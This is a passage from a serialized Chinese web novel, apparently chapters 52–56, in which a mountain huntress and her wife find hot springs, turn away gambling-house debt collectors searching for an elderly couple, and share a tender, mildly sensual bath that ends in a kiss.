夏时见状心里一喜,觉得楚棠果然是猜对了。只是再往前走几步,她脚步却突然顿住,顺手还将身旁的楚棠也给拉停了下来:“先等等,这气味好像有些不对。” 楚棠微愣,也迎着寒风细细去闻,结果就闻到空气中有淡淡的硫磺味儿。 这是正常的,许多温泉都有硫磺的气味儿,她便对夏时:“没事,温泉都是这股味道。” 夏时却拧着眉摇了摇头,她常年在山上与野兽打交道,五感都比寻常人更敏锐些:“不是,硫磺的气味儿我知道。我是说这硫磺之下,还有些野兽身上的腥臭气。”说到这里她顿了顿,眼中流露出些失望来:“那温泉,莫不是已经被野兽占据了吧?” 从前夏时听她爹说过,山里的野兽最是聪明。猴子摘的桃是最好的,鸟儿啄的果子也是最甜的,到了冬天动物们也有各自的过冬办法,他还见过有老虎会泡温泉的。不过夏时只将这些当故事听,毕竟她都没在云雾山上见过温泉,她爹又去哪里看的老虎泡温泉? 而现在温泉找到了,难不成那占据了温泉的野兽真是老虎?! 夏时想到这里,不禁苦了张脸。她先是遗憾温泉被老虎占据了,接着转念又想到了在另一边山洞里安家的钱老头夫妇,顿时又给惊出一身冷汗来——如果这里真有老虎占据了温泉,这么近的距离,老两口可就跟落入虎口没什么差别了。 将这事与楚棠一说,后者也是一惊,立刻拉着夏时就要离开:“老虎最是凶恶,要真是如此,咱们得赶紧离开才行。” 夏时的脚步却又顿住了,她看了看周围,熟悉的景色无时无刻不在提醒她,这里距离她家小院并不遥远。认真算下来,这里比当初她遇到豹子的那条小溪离家更近,如果真有只猛虎出现在这里,那她家也不再安宁。更何况这时候退走了,钱老头夫妇又该如何安置?! 左思右想,夏时松开了楚棠的手,小声叮嘱对方:“阿棠,你先往回走,我去洞口看看什么情况。” 楚棠闻言赶忙又抓住了她的手,瞪她一眼:“去什么去,真有猛虎,你对付得了?!” 夏时一时间没有接话,如果她做足了准备,未必没有与猛虎对峙的可能。但她现在弓箭没有带,陷阱没有设,身边连把长兵器都没有,只靠身上那把猎刀的话,确实就跟送菜没什么区别。 想了想,夏时到底还是退了:“那就改日……” 她话还没说完,忽的听见一声野兽吼叫闷闷传来。楚棠吓了一个激灵,还以为是山洞里的猛虎发现了她们,可夏时更加敏锐,一听就发现那声音并不是老虎的叫声。 于是她一把抓住了欲要逃离的楚棠,眉眼都松快了几分:“放心,不是老虎,有点像是鹿的叫声。” 楚棠闻言果然停下了脚步,略有些惊讶:“鹿?” 众所周知,鹿在老虎的食谱上,如果那温泉山洞里真的有鹿,那就肯定不会有老虎存在。再说夏时她爹说见过老虎泡温泉,那都不知是多少年前的事了,也未必就是在这里。她们刚才不过是想当然,自己吓到了自己罢了。 见夏时笃定的点头后,楚棠提着的心才放了放。两人对视一眼后,试探着放轻了脚步继续上前,不多会儿便真的凑到了那冒着白色水蒸气的山洞口。 这山洞里居然不是一片昏暗,楚棠和夏时探头往里一看,便发现山洞顶上有道裂缝洒了天光进来。而这也方便了两人,一眼便瞧见这山洞比起钱老头落脚的那个大了十倍不止,里面足足有七八个温泉池,正往外冒着腾腾热气,看着便十分暖和。 这还不是山洞里最奇特的,最奇特的是山洞里还盘踞着不少小动物,其中便有夏时刚才提到的鹿。而夏时眼力更好些,还在温泉池旁看到了一抹新绿。 这可不是冬天该有的颜色,但温泉山洞里温暖如春,又不缺天光,有植物生长也不稀奇。 片刻后,两人收回了探出的脑袋,夏时依旧将声音压得很低:“都是些食草的小动物,倒是不怎么危险。”说着摩拳擦掌:“这倒也是个狩猎的好去处。” 楚棠倒觉得方才山洞里那副场面颇为和谐,她并不是很想打破。 夏时没等到楚棠接话,一抬眼瞧见她眉头微蹙,很快便将她的想法猜了个大概。可她是猎人,并没有那样多的心软,而且这山洞里的温泉她也想要。 两人便都没说话,最后还是楚棠扯了扯夏时的衣袖:“咱们再去别处看看吧,温泉池一般也不止一处。” 夏时想了想,没有拒绝,左右这一山洞的猎物她真要想猎,随时都可以来。而且她今日就带了把猎刀,认真说起来也不适合狩猎。 两人于是又在附近转了两圈,别说还真让她们找到了另一处山洞温泉。 这次的山洞和温泉池都比较小,不过和之前那山洞里各种小动物聚集不同,这次的山洞被一群猴子占据了。而且这群猴子不是在温泉池边取暖,而是一个个都泡在了池子里,满脸的惬意。 夏时看得都有些羡慕了,然而不等她做些什么,就被猴群发现了。一片“吱哇”乱叫中,几个烂果子被扔了出来,险些砸到两人身上。 小猎户可不是个好脾气的,见状顿时怒了,左右一看捡了块石头在手里掂了掂,然后便冲着山洞里的猴群扔了过去。她常年联系弓箭,手里的准头不差,再加上山洞位置狭小,这一石头扔出去还真砸到只猴子。那猴子应声而倒,山洞里顿时炸开了锅。 楚棠被这一通乱叫吵得耳朵都麻了,她揉了揉耳朵问夏时:“你砸到什么了,它们这么激动?” 夏时勾起唇角,得意一笑:“我砸的猴王,你看,这不就炸锅了吗?” 若夏时砸的是别的猴子,猴群恐怕就要气势汹汹冲过来报复了,可她一招放倒了猴王,猴群愤怒之余更多的还是恐惧。这就是擒贼先擒王,猴子们现在怕是只想逃。 夏时也没打算猎猴子,因为猴子皮和猴子肉一般都没人要,她干脆拉着楚棠让开了位置。 果不其然,一群猴子很快冲了出来,逃之夭夭。 53☆、第53章 ◎一眼就从夏时身上看出股煞气◎ 猴子们逃得很快,不过片刻功夫,整个温泉山洞就空了。 夏时带着楚棠进去转了一圈,发现这里竟是意外的干净,除了地面上有几个刚啃干净的果核之外,就没有别的垃圾了。至于猴子们泡过的温泉水,也没有什么异味,只是水面上免不了有薄薄的一层猴毛漂浮着,让人看了就觉得没法下水。 楚棠见状蹙了下眉,但也很快想开了:“这样的温泉池里一般都是活水,过不了几天,这满池的水就自己换干净了。” 夏时一听就放心了许多,毕竟她们今天本来也没打算做什么,出来都没带换洗衣裳的。 想到这里,夏时便将手探进了温泉池里,顿时感觉一股温暖的水流将自己的手掌包裹起来。只是一只手泡进了热水而已,刚在外面沾染的寒气仿佛都消散了三分。 夏时自己并不怕冷,察觉到这般好处,便对楚棠说道:“阿棠,你伸手进去泡泡看,很暖和的。”说完怕楚棠嫌弃,还顺手捞起了一片猴毛看了看:“这些猴子估计时常泡温泉,这水里的浮毛也不怎么脏,更没有什么异味。” 楚棠闻言心里的排斥果然少了些,但她犹豫了一下,还是没将手伸进水里,而是拢在了袖中:“还是算了,我手太凉,就这样泡进热水里很容易激得寒气入骨,反而不美。” 是这样的吗?夏时并不清楚,但她总相信楚棠说的不错,只好放弃了劝说。 她又伸手撩了撩温泉水,大股的热气随之蒸腾而起,将山洞里的空间熏的白茫茫一片。抬眸再去看对面人,便觉那日日相对的美人也仿佛置身云端。 夏时不知不觉看得呆了,还是在楚棠的话语中回神:“比起之前那个大山洞里的温泉池,我觉得这里的温泉似乎还要更适合些。”说着顿了顿,又带着几分歉意道:“只是抢了猴儿们的好地方,似乎有些不妥。”尤其刚才跑出去的那些猴子里,好些还是湿漉漉的。 “这有什么,那边大山洞里的温泉池还没人泡呢,猴子们喜欢泡澡的话,大可以过去那边。”夏时回神后随口答道,旋即目光又在这处山洞里细细打量了一遍。 确实如楚棠所说,这处山洞里的温泉更适合两人独占——山洞没那么大,热气也更不易散就不说了,之前占据这里的猴子们都爱泡温泉,因此山洞里也不臭。此外还有一桩好处,便是这山洞的洞口更狭小些,真在里面泡温泉的话,堵门也更容易。 夏时满意的点点头,私心里已经决定将这处温泉池占为私有了。 楚棠看了看时间觉得不早,于是冲夏时说:“咱们是不是该回去了?田二嫂那边应该已经收拾妥当了,咱们迟迟不回的话,恐她们牵挂担忧。” 温泉池已经找到选好了,夏时自然点头应下。不过离开之前她想了想,又从怀中逃出了个密封的竹筒,然后将里面的东西细细洒在了山洞口。 楚棠被遮挡了目光,也没看清夏时洒的是什么,等到她将竹筒重新收好离开,这才问道:“你刚才是在做什么?” 夏时随手抓了把雪在手上搓了搓,然后又将冰凉的手放进怀里捂暖了些,这才去牵楚棠的手:“唔……我怕我们离开之后,那群猴子又回来重新占据了山洞温泉,那温泉水再过多少天也不会置换干净。所以我在那洞口洒了些东西,小动物们闻到之后就会主动避开了。” 这也是猎户们在山中生存的一种本领,就像是驱蛇药能够驱蛇一般,他们也有各自驱散野兽的手段。只是这驱兽方子的用料就不好与楚棠细说了,免得她嫌弃。 好在楚棠也没深究,她只回头看了一眼,便跟着夏时一起离开了。 ******************************************************* 两人出来逛这一趟着实花费了不少时间,再回去钱老头等人落脚的山洞时,里面已经被几人收拾得有模有样了,只等二人回来。 田二见两人回来,兴冲冲对夏时说道:“小夏你看,我们在附近找到块大石头,到时候就用这东西来堵门。山洞口本来就不大,再被这一堵,寻常野兽也就进不来了。” 夏时还未接话,楚棠顺着田二所指看向了大石头,一看之下顿时哭笑不得:“这石头也太大了,咱们离开之后,两个老人家怎么推得动?难不曾要将人堵死在山洞里,想出也出不来?”说到这里微顿,又道:“总不能日日让人过来查看情况吧。” 说到之后一句,楚棠的语气明显有些不对,在场几人也不是傻子,都听出来了。 田二嫂闻言连忙摆手:“哪能呢?今日已经很麻烦你们了,钱叔钱婶住在这里,我们时常上山来看一看也就是了,怎么好意思让你们日日过来查看?” 钱老头也忙接口:“就是就是,不必麻烦你们了。其实有这块大石头堵门也不碍事,我和老婆子都能翻过去的。而且这大冷天的,我们避祸过来,本来也不准备时常出去。” 这话也不是敷衍,钱老头和钱婆子都生得瘦小,山洞口留下点空隙就足够两人钻进钻出了。虽然那必定不雅,对于老人家来说也有些危险,但却算不上阻碍。 见他们自有打算,楚棠和夏时也就不管了。出去后见钱老头将几个捕兽夹布置好,又帮着将那石头推过来堵门,今日这事她们能帮的也就帮完了。 冬日本就天短,一番折腾下来,天色也有些暗沉了,几人于是告别老两口转道回去了。 …… 帮钱家老两口找到山洞落脚避祸,对于楚棠和夏时来说就是个小插曲。两人谁都没怎么放在心上,回去之后惦记更多的反而是那池温泉,算算日子至少得等个七八天才能去泡。 然而两人都没想到的是,第二天到了赌坊给钱家的三日之期,赌坊的人来了之后没找到钱家人,居然直接就上了山——两人之前的顾虑一点没错,在赌坊打手的威逼利诱之下,石田村的人一点没顾及钱家这外姓同村,当天就有人给赌坊的人指了路。 所幸夏时大冷天也没出门,正跟着楚棠在家继续练字呢,就听见外面一阵“砰砰”砸门声,动静比起昨日田二等人登门时不知大了多少。 夏时一听就知道来者不善,她把手里的笔一搁,提着猎刀就出去了。 今日倒没下雪,可积雪沉积之后化作了冰,这天气山道更是难行。赌坊的人上山就憋了一肚子气,对待夏家的院门更是不客气,拳砸脚踹的,恨不得直接将院门给踹翻了。 然而猎户家的院子是防野兽的,院门自然不会单薄,相反结实得出乎意料。任院外人折腾了半天,也没能把这门板卸掉,反倒累得那连踢带踹的人直喘粗气:“老,老大,人肯定是在这家了,不然这么久了,里面的人怎么还不过来开门?肯定是心虚!” 结果那人话音刚落,口中吐出的白气还没散呢,怎么都踹不开的院门就从里面打开了。 赌坊的打手们精神顿时一凛,赶紧摆出了一副凶恶嘴脸,试图在第一时间就将院子里的人震慑住。领头的壮汉却在下一刻手一伸,将身边的兄弟都拦在了身后。 有打手没反应过来,刚喊了声“老大”,就被一抹雪亮的刀光晃了眼。 夏时手中猎刀平举,刀尖直指那领头的壮汉:“你们是什么人,来我家砸门,是想做什么?!” 她语气平静,举止也并不算冲动,但一双冷清清的眸子扫过众人,打手们无端就打了个寒颤。领头的壮汉见识更多,一眼就从夏时身上看出股煞气。这煞气是因杀生而来,城里杀猪的屠夫身上也有,但比起眼前的女郎来说,却是小巫见大巫了。 山里的猎户总是不好惹的,一来他们常年与野兽搏命,二来人住在山中,就连官府也不好管束——据说有猎户杀了人躲进山中,官府派人搜山也没能将人抓住,最后只能作罢。 当然,女猎户就更不好招惹了,因为她们能在野兽身上讨食,多半是比男人更加凶悍。 壮汉上下扫了夏时一眼,心里顿时就计较开了,片刻后扯出抹客气的笑:“误会,误会,是我兄弟脾气不好。我替他向你道歉,还请妹子别和他个愣头青计较。” 这壮汉夏时见过,三天前就是他带人去钱家砍了钱二柱的手。不过当时对方浑身凶戾,就连笑也是冷笑,远没有今日这般客气。 夏时也不理会对方的好脸,依旧冷着声问道:“你们来做什么?” 壮汉闻言目光往夏时身后的院子里瞥了眼,他身后的小弟就主动开口说道:“山下的钱家欠了我们赌坊的钱,人却都逃了。有人看到钱家老两口上了山,必是来投奔你的,你赶紧把人交出来!” 钱家人跑了,赌坊就收不回钱了。哪怕钱家的院子田地都还在村里摆着,可欠条上写的是钱二柱,房契田契上写的却是钱老头的名,官府也没有办法强行收走房屋田地还给赌坊。赌坊收债的打手们对此再清楚不过,因此才会如此气急败坏,不惜踩着积雪上山寻人。 夏时才不会体谅这些打手,她皱皱眉装作一无所知的样子,手里猎刀一摆:“没有。这院子里只有我和我媳妇,没有别的人了,你们去别处找吧。” 打手们自然不肯善罢甘休,要不回钱他们也是要吃挂落的,当即气势汹汹围了上来。 夏时见状手中猎刀横着一划,上前的打手们顿时惊得连退数步。有人甚至感觉那刀锋就是贴着自己胸前划过的,顿时惊得后背冒了一层冷汗,众人围聚的气势也因此一落千丈。 领头的壮汉见状连忙上前两步,喊道:“都住手,不许乱来!” 他这一声原本是想喝止夏时的,免得这小猎户一时热血上头,追着他兄弟砍。可哪知话喊出口再定睛一看,才发现对方根本就站在原地没有挪步,依旧牢牢挡在院门前。 壮汉见状不免有点尴尬,整理下表情才又说道:“妹子别怪咱们失礼,这实在是一笔不小的钱,咱们找不到人是不可能善罢甘休的。不如这样,你既然说人不在你家,就让咱们兄弟进去看看,确定了人真不在,咱们也免得一场误会。” 夏时闻言略一垂眸,还没想好要不要放人进去,就听身后传来熟悉嗓音:“那就让他们进来看看吧。” 54☆、第54章 ◎勉强遮住一片风光◎ “那就让他们进来看看吧。”楚棠的声音从身后传来。 夏时回头看了过去,两人视线一对,便自有了几分默契。等夏时再回头时也退后两步,让开了院门位置,却不忘提出要求:“看可以,但这是我家,我可不欠你们赌坊的银子,若是碰坏了什么可得要你们照价赔偿。”说着一顿,手中刀锋亮了亮:“或者我自己讨个代价。” 说最后一句时,夏时的语气有点阴森森的,再配上她那浑身的煞气,这群无法无天的赌坊打手还真不敢不将她的话放在眼里。再说他们此行本来也只是寻人而已。 壮汉当下便冲着夏时抱了抱拳:“妹子大气,我等也不是来惹是生非的,自是看过就行了。” 他说完冲着手下使了个眼神,同行的七八个打手便一下子涌入了夏家的院子里。夏时已经后退几步到了楚棠跟前,见状索性将人牵着走到了院子中央,连主屋的门也给让开了。 楚棠一身皮裘,再加上生得花容月貌还有一身好气质,与这猎户家的小院多少有些格格不入。若是换做寻常,这群打手少不得要用下流的眼神多打量几眼,主家欠钱的话就更好了,别管是人家妻女还是姊妹,都得被拉走抵债——欠了欠条,利息究竟是多少还不是他们说了算吗? 不过眼下这小猎户却凶得很,又一幅护着媳妇的样子,打手们还真不敢往那边多看,免得一不小心挨了刀子。于是纷纷绕过她们,往几间屋子搜去。 夏时家的屋舍其实都很简单,站在门口几乎就能将屋里的情况一览无余。 灶房里除了柴火堆就是一堆粮袋,扒拉一下就知道里面没有藏人。主屋就更不必说了,唯一能藏人的衣柜和床底看过,就知道里面不可能有第三*个人。 两间屋子搜索完,打手们一无所获,又回到了院子里。不等这些人说什么,夏时干脆就掏出钥匙把杂物房也打开了给这些人看。杂物房里倒是比另两间屋子更乱些,旧皮子烂家具之类的堆了满屋,可也是看着就不像是能藏人的模样,打手们进去看过一圈也就出来了。 搜院子的时间拢共也没有半刻钟,更没有碰坏夏家什么东西。打手们很快又退回了院子外,纷纷冲着领头的壮汉摇头,以示什么都没发现。 壮汉的脸黑了一分,其实在夏时干脆让开院门的那一刻起,他就猜到人多半不在这里了。可真没搜到任何线索,壮汉还是有些气恼的,还句抱歉也没说就领着人转身下山去了。 夏时见状心里很不高兴,可对方人多势众又已经离开,到底没说什么。 她上前去将院门关了,转过身还挤出一抹笑,冲着楚棠说道:“好了,人走了,这事彻底与咱们没有关系了。最近也少下山吧,咱们过好自己的日子就是。” 楚棠点点头,上前两步,将猎刀从她手上抽走:“好了,下次别这么冲动,真和人打起来怎么办?” 夏时并不怕与人打架,自从父亲去世后她一个人顶门立户,一开始也是有人想欺负她的。那种时候拳头大就是道理,她也是打过不少人,才有如今的安生日子可过。 不过这都是从前的事了,她也无意说给楚棠听,当下只乖乖点头就是。 ****************************************************** 夏时说到做到,之后小半个月都没再下山,也不知那赌坊欠债的后续——钱二柱有没有被抓到?钱大嫂和梨花躲回了娘家有没有被牵扯?这些她都不知道,她只知道那日过后再没有赌坊的人上过山,藏在山洞里的钱家老两口依旧好端端的藏着,躲过了这一劫。 当然,这小半个月时间,夏时也不是全窝在家里猫冬了。 她也出过几趟门,去早布下的陷阱里看看,尤其是温泉池那边跑过好几趟——楚棠说温泉水是活水,里面猴子泡澡留下的脏水很快就能替换干净,但具体多少天才换完谁也不知道。 夏时便时常去看看。头两回池水里还能看到漂浮的猴毛,等到第三回去,猴毛便被冲刷干净了。再加上她在洞口洒的驱兽药,那群猴子离开之后倒也没再找回来,温泉水便一天比一天干净。要不是担心温泉里还有看不见的脏污残留,她早就可以带着楚棠过来泡温泉了。 不过小半个月过去,温泉水就算流动得再慢,应该也已经替换干净了吧? 这日夏时看着天气不错,不仅没下雪,地面上的积雪也化了大半,便翻箱倒柜找出了两人换洗的衣裳,冲楚棠说道:“温泉池那边应该已经够干净了,我去看过,猴子们也没回去,不如今日过去泡温泉吧。” 楚棠不是头一回泡温泉,从前友人相邀时她也从不觉有什么,可不知为何,当夏时整理着两人的里衣说出这番话来,她的心跳就不禁漏跳了一拍,连带着脸上都染上了一层不明显的薄红……她分明是害羞了,却又不敢深想,便只别过眼,一时也忘了答话。 夏时将两人的衣裳重新叠好,又取出一只竹编小蓝仔细装好,等了半天也没等到楚棠的回话。她不由回头看去,却见楚棠正望着大门的位置神游天外,也不知在想些什么。 她便上前两步,伸手在楚棠眼前晃了晃:“阿棠,咱们去泡温泉,怎么样?” 楚棠脑子里正乱成一团,冷不丁被夏时这动作吓了一跳,回神后脸就红了:“好,好啊。” 夏时还没见过楚棠这般失态的模样,心思微动,唇角就含了一抹笑。不过现在连门都还没出呢,她自然不会这么早戳穿对方的羞窘,便收回视线自顾自收拾起东西来。 午后,冬日难得的暖阳洒落山间,映得山野都少了几分清冷。 楚棠被夏时牵着走出了家门,整个人还有些恍恍惚惚,全没有从前泡温泉的期待与自在。好在她心绪调整得也还算快,等行至半路,她也彻底放开不去多想了。 想什么呢?她早就答应给这人当老婆的,如今几个月相安无事,已是对方在顾及自己了。 再说,再说她深心里,也不是那样排斥…… 楚棠回了神,这才留意到今日天气晴好,暖色的阳光洒落在山间,仿佛为这寂寥的山林镀了一层光,让人看了平白生出一股暖意。常日躲在家中避寒的憋闷,也随之散去了大半。 夏时察觉到她回神,便也回头笑道:“怎么样,今日天气还不错吧?这样的天气便是没什么事,出来走走也是好的。”说着微顿,又道:“当然,泡温泉的话,也没那么容易着凉。” 楚棠听了,耳根还是微微有些发烫,面上倒还维持了镇定:“你说得不错。” 夏时便牵着她的手,一路闲聊一路前行,不多时便到了那温泉池所在的位置。两人也没去钱家老两口暂居的山洞,特地绕过直接去了温泉池。 这里还和半月前一样,小小的山洞里温泉水热气蒸腾,细看之下少了水面漂浮的一层猴毛。 夏时将提了一路的篮子放到一旁,走到池边俯身掬了捧水给楚棠看:“阿棠你看,这水已经很干净了,今日来泡必然没什么问题的。” 楚棠忍着害羞上前两步,细细一看,不仅夏时掬起来的那捧水,温泉池中的水也是清澈见底。她便俯身挽袖,撩了撩水,除了淡淡的硫磺味确实没什么不妥。细细感知一下,这处温泉的温度比她从前泡的要稍高些许,但她如今体质偏凉,这样的温度倒很适宜。 甚至就这撩水的功夫,她将手泡在这暖热的温泉水里,都不太想拿出来了。 夏时一眼就看出来了,不过她也看出楚棠暂时没有下一步动作。她很是善解人意,当下便说道:“好了阿棠,你先看着怎么泡吧,我去将洞口堵上。这里虽是荒山野岭,但万一有人进山,又或者有野兽过来,可都得防着些。” 她这话说得冠冕堂皇,可事实上这里根本就没有人会来,野兽也都被驱兽药远远驱逐了。若是她一个人来,估计脱了衣裳就能下水,如今不过是顾忌着老婆害羞。 果然,她说完离开,楚棠便肉眼可见的松懈了下来。 夏时转道就出了山洞,这些天她来过几趟也不是白跑的,早就在附近寻到了一块大小合适的石头,准备泡温泉时学着钱老头将洞口给堵了。 而就在夏时走出山洞之后,楚棠终于起身解开了身上的皮裘。脱了皮裘还有冬衣,脱了冬衣还有夹袄,怕冷的楚棠穿得着实不少。等这些衣裳一一脱下,小心叠好放在一旁,楚棠的手落在中衣的衣带上顿了顿,终究还是收了回来。 楚棠咬了下唇,又从夏时带来的篮子里翻出一张沐浴用的帕子,干脆就脱了鞋袜,直接穿着中衣下了水。温热的水流一下子便簇拥而来,将她寒冷的躯壳染上几分暖意。 久违的舒畅让楚棠喟叹出声,面上也蒸腾出一片薄粉。旋即她一低头,却见那白色的中衣已被水流浸透,变得有些透明。内里的小衣在透明中衣下若隐若现。 她看了两眼,不禁面色羞红,而那贴身的小衣湿淋淋的贴在她身上,其实也并不是那么舒服。 楚棠不是个自找苦吃的人,犹豫一下,还是将小衣脱了下来,只转手又将带来的帕子盖在了身上,勉强遮住一片风光。 55☆、第55章 ◎可我就想尝尝刚才那块◎ 夏时早先就看好了一块堵门的石头,并且将之挪到了洞口附近。这下她出来堵门也不费事,磨磨蹭蹭花了半刻钟,到底还是挪动石头将洞口给堵上了。 温泉山洞里的光线霎时一暗,但许是有别的光源,也并未昏暗到难以视物。 夏时有站在洞口等了两息,这才拍拍手转道回来了。原以为楚棠还在整理篮子,顺便借此机会做好心理准备,却不料回头一看,人竟然已经泡进温泉池里了。这般迅速的动作倒是让夏时一愣,同时心里生出些微妙的感觉,垂在身侧的手也不自觉攥住了衣角。 阿棠好像比她预想中更加大胆,也并不需要太多的时间整理心情,那她……是不是也可以更大胆一些? 夏时脑海里闪过这样的念头,心里也不禁生出几分火热来——她虽年轻懵懂,但对于夫妻之间的事也并非一无所知。毕竟生活在这山野之地,村里的妇人总是口无遮拦的,而她自来五感敏锐,偶尔路过听到些只言片语并不稀奇。甚至几年前,她还撞破过村里一桩偷情事! 只是知道归知道,经历又是另一回事了。尤其她将楚棠带回家时,后者身体状况糟糕透顶,她当时便只想着尽快将人身体养好。后来生活渐渐融洽,她却找不到合适的机会更进一步了。 直至今日,夏时站在温泉池旁,忽然抓住了那点灵光。 另一边,楚棠靠在池边,闭目泡着温泉,一直不曾睁眼。但无论是山洞口的动静,洞内光线的变化,还是夏时缓慢靠近的脚步声,她都不曾错过。 直到过去许久,她也没听到进一步的动静,终于忍耐不住,睁眼看去。 这一看,她脸倏地就红透了——她分明没听见人脱衣裳的窸窣声,可睁眼一看,站在温泉池边的女郎却已经衣衫尽褪。她这一眼看去可谓是一览无余,那修长的腿、劲瘦的腰,隆起的小山丘便都一样不差的落入了她眼中。也让她瞬间热血上头,忙不迭垂下了视线。 可即便如此,方才所见的那一幕也像是刻入了她的脑海,让她心绪不宁,浑身燥热起来。 而这还只是开始,就现在楚棠垂眸的下一刻,已经脱去衣衫的夏时连声招呼都没打,就直接跨步踏进了温泉池中。她下水的位置距离楚棠也很近,带起的水波涌动,冲刷着楚棠的身体。 楚棠的脸更红了些,眼角的余光甚至能瞥见夏时那赤裸的身躯,却僵硬在原地一动也不敢动。两人此时都没想着开口,仿佛一开始就默认了一起泡温泉的事。 直到夏时缓缓靠近,忽的伸手扯开了她挡在身上的布巾,接着惊讶道:“咦,你还穿着中衣啊?”顿了顿又似懊恼道:“难道泡温泉就是要穿着衣裳泡的?” 楚棠脸更红了,一时间不知该如何作答。 好在夏时也就嘀咕了一句,并没有再追问衣裳的事。 当然,她掀开的布巾也没还回去,被她随手盖在了自己赤裸的肩头。 楚棠都不好意思抬头去看,自然也不能再将那布巾抢回来——她有什么理由去抢?夏时都大大方方光着下水了,她已经穿了中衣不说,还遮遮掩掩的就太小气了。 可很快的,楚棠感觉身侧一道目光落在了自己身上。那目光并没有太强的侵略性,甚至带着些偷偷摸摸的拘谨,但却又炙热得让人难以忽视。于是楚棠的脸颊越来越烫,身子也不由自主的往水下沉,试图用水流遮挡住这道让她心慌又无措的视线。 直到一条手臂忽的伸了过来,揽在她腰上,将她整个人往上一托。 楚棠沉在水下的身子被迫上移,在那手臂的托举之下,大半肩膀都露出了水面。 她心里霎时一慌,一把按住了手臂的主人,结果这一按却好巧不巧按住了一片柔软。只听一声轻哼在耳侧响起,却像是一道惊雷炸开,瞬间炸得楚棠脑中一片空白。 好在夏时并没有在意,她心里已经认定楚棠是她老婆,那她身上就没有哪一处是对方不能碰的。 当下抬起另一只手,将楚棠打湿后黏在脸颊脖颈上的长发理了理,夏时的语气中带上了几分无奈:“你怎么忽然就往水下沉?都快淹到口鼻了,你也不怕真呛了水。” 说归说,她揽着楚棠腰间的手臂一点没放松,像是害怕这人还要害羞的往水里躲。而她这一揽一抱,两人的身体便几乎贴在了一起。至于楚棠穿的那层薄薄中衣,在这种情况下几乎可以忽略不计……不,也不能这么说。夏时目光垂下,落在那半透明的中衣上,反倒觉出种欲露还羞的诱惑。 夏时的喉头滚动了下,脸颊上霎时熏出一抹绯色,身体里也忽然生出一股燥热来。 肯定是这温泉水的温度太高了! 夏时这样想着,有些不自在的别开了目光,脑海里乱七八糟的念头转个不停——她好像记得听人说过泡温泉容易口渴,所以她带了水壶放在篮子里,还装了些果子一起带了过来准备泡温泉的时候吃。不过那篮子好像放的有点远了,至少她现在伸手是够不着的。 ******************************************************** 第一次坦诚相待,两个人自是有些不自在。 夏时胡思乱想的时候,楚棠也没比她好到哪里去。甚至因为知道更多妻妻之事,她的身体反应和不自在比起夏时来更甚。 两人别扭着泡了一会儿温泉,楚棠只觉入冬之后积累的寒气都被这温热的水流冲刷了个干净。她的手脚不再僵硬迟缓,血液流通得甚至有些过于顺畅了——她被夏时捞起来后,就被她半抱在了怀中,一开始还只是脸热,到现在她感觉自己浑身上下都快被这热水蒸熟了。 这着实有些难熬。 楚棠心里这样想着,伸手轻轻在夏时肩头推了一把,开口时嗓音意外的有些哑:“好了,别抱着我了,我又不是小孩儿,不会沉在水里的。” 夏时闻言却皱了眉,也没理这话,反而伸手探了探她额头:“你声音怎么哑了,莫不是着凉了?” 楚棠忙清了清嗓子,抬手拂开了夏时伸过来的手:“我没事,泡着温泉怎会着凉。” 她声音听着确实好了许多,夏时这才没有坚持,又被楚棠轻轻推了一把,这才不甘不愿松开了揽在对方腰间的手臂:“那你是温泉泡久了口渴吧,没事,我带了水来。” 夏时说着,终于舍得离去,扶着池壁缓缓走向带来的篮子。 那篮子里确实装着不少东西,除了两人替换的衣衫之外,还备有水壶、果子、柿饼之类,都是可以在泡温泉时吃喝的——带果子之类的过来,其实是跟那群泡温泉的猴子学的。猴子们被驱逐前泡着温泉啃着果子的样子实在惬意,夏时便都记在了心里。 眼下这些又成了她跟老婆献宝的好东西,当下带着篮子回去,将这些吃的喝的全放在了楚棠跟前:“阿棠你看,我带了这些来,咱们可以一起吃。” 泡着温泉吃喝对于楚棠来说并不稀奇,从前她与友人们泡温泉时,吃的喝的比这更好。尤其是喝的,彼时有美酒佳酿,如今却只有一壶清水。 楚棠抱着水壶浅抿了一口,喉间不知所起的干渴稍稍缓解。 她又抬眸去看对面的夏时,心说:幸好家里没有酒,不然以这家伙的酒量,怕是难以收场。 想着想着,楚棠的视线又不免偏移——夏时裸露在水面上的肩膀已经没什么好看的了,但这温泉水确实清澈,水下的光景虽不清晰,却也可以窥见大半。 楚棠目光一垂,又迅速抬起,赶紧捧着水壶又灌了一大口水。 夏时这时已经回来,她又挨着楚棠坐了下来,两人半边身体贴在了一起。她捏起一块柿饼递到楚棠嘴边:“你尝尝,这还是咱们一起去摘的柿子做的柿饼。” 这楚棠当然知道,事实上入冬之后两人也没少吃柿饼,这也是家里数量最多的零嘴了。 夏时像是在没话找话,事实上从她俩开始泡温泉起,交流就比平时少得多——两人像是都有些害羞,心里知道可以借此机会更进一步了,偏偏抱都抱在了一起,却没人敢率先踏出那一步。于是别别扭扭错过了气氛,再想做些什么,就更加别扭了。 楚棠看了眼递到嘴边的柿饼,还是启唇轻轻咬了一口,不知有意还是无意,唇瓣擦过了夏时指尖。 夏时捏着柿饼的手颤了下,平时握刀捏箭都很稳的手,这时偏偏没拿住这块柿饼,让柿饼“噗通”一声落进了水里。待稳住心神,她又去看楚棠,问她:“怎么样,这柿饼甜吗?” 自然是甜的,两人都不知吃过多少了,这还是问了句废话。 不过楚棠还是答了。她垂着眸装作若无其事的样子,像平常那样回答:“很甜。” 夏时便舔了舔唇,凑了过去,期期艾艾:“可我还没尝到。”说着瞥了眼已经落进温泉池的半块柿饼。 楚棠自然也看到了柿饼落水,她抬眸看了眼夏时,对上对方亮晶晶的眼神,几乎能猜到对方接下来要说些什么。她抿了抿唇,还是顺着对方的话说了下去:“没关系,还有很多。” 夏时如所料般倾身靠了过来,唇贴上来前轻轻说了句:“可我就想尝尝刚才那块。” 【作者有话说】 夏时:我对夫妻之事并非一无所知。 楚棠:我有好友提前科普。 总结:两只菜鸟! 56☆、第56章 ◎终究,楚棠也没能将人推开◎ 柔软的唇瓣贴上了另一片柔软。 这自然不是两人第一次亲吻了,事实上这般亲密的举动对于两人来说早就习以为常。但此情此景,这个吻又是极为特殊的,像是某种试探,也像是某种前兆。 楚棠眼睫轻颤着,一双手抬了又放,不知该落在何处——她本有心去揽夏时的肩,可一抬手触碰到的却是对方光滑的肌肤,她的手顿时就像是被烫到一样迅速收了回来。可随着夏时的进一步入侵,她的手又忍不住抬起,想揽住眼前人,又羞涩的不敢轻举妄动。 